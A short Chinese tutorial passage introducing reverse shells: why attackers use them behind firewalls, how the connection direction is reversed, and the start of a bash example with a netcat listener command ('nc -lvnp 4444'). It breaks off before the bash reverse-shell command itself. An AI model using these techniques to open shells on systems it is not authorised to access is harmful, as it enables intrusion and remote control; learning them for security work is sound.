反弹shell初识

前提：node2（ 75）控制端机器，node1（ 74）为要被控制端机器

一、为何需要反弹shell

当正向连接不可达时：

• 客户机中了木马，但是在局域网内，无法正向连接。
• 由于防火墙和局域网的限制，对方只能发送请求，不可主动接受请求

二、反弹shell原理

反弹shell是指控制端监听某个TCP/UDP端口，被控端发起请求到该端口，并将其命令行的输入输出传递到控制端的过程。

reverse shell与telnet，ssh等标准shell对应，本质上是网络概念的客户端与服务端的角色反转。

反弹shell是打开内网通道的第一步，也是权限提升过程中至关重要的一步。

三、常见的反弹shell命令

3.1、bash进行反弹

1、首先控制端机器node2(75)开启监听：

nc -lvnp 4444    # 1:监听模式，v:显示指令执行过程， p:设置使用的通信端口

2、被控制端机器node1(74)允许反弹shell，执行：

bash -